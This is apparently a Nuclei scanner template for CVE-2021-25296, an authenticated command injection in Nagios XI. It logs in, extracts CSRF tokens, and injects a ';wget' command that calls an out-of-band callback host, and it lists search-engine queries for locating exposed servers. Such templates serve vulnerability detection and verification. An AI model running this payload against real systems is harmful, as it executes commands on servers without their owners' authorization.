90 lines
3.3 KiB
YAML
90 lines
3.3 KiB
YAML
id: CVE-2021-25296
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info:
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name: Nagios XI 5.5.6-5.7.5 - Authenticated Remote Command Injection
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author: k0pak4
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severity: high
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description: |
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Nagios XI 5.5.6 through 5.7.5 is susceptible to authenticated remote command injection. There is improper sanitization of authenticated user-controlled input by a single HTTP request via the file /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
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impact: |
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Successful exploitation of this vulnerability allows authenticated attackers to execute arbitrary commands on the target system.
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remediation: |
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Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
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reference:
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- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
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- https://github.com/rapid7/metasploit-framework/pull/17494
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- http://nagios.com
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25296
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- http://packetstormsecurity.com/files/170924/Nagios-XI-5.7.5-Remote-Code-Execution.html
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-25296
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cwe-id: CWE-78
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epss-score: 0.89037
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epss-percentile: 0.98721
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cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 4
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vendor: nagios
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product: nagios_xi
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shodan-query: title:"Nagios XI"
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fofa-query: title="nagios xi"
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google-query: intitle:"nagios xi"
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tags: cve,cve2021,packetstorm,rce,oast,authenticated,msf,nagiosxi,kev,nagios
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http:
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- raw:
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- |
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GET /nagiosxi/login.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /nagiosxi/login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
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- |
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GET /nagiosxi/index.php HTTP/1.1
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Host: {{Hostname}}
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- |
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@timeout: 20s
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GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: word
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part: body_4
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words:
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- "Event Log"
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- "Display Name"
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: nsp
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group: 1
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regex:
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- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
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internal: true
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part: body
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- type: regex
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name: nsp_auth
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group: 1
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regex:
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- "var nsp_str = ['\"](.*)['\"];"
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internal: true
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part: body
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# digest: 4a0a00473045022100a2dc206e80ff2c88040bf883e7489d77bd7a4ba89169ffe9abf27e1cf41829d20220116954a4772401f7f08bfc31ae8cc97d5589219a8c1386e5cf7e1b7ccb784c3b:922c64590222798bb761d5b6d8e72950 |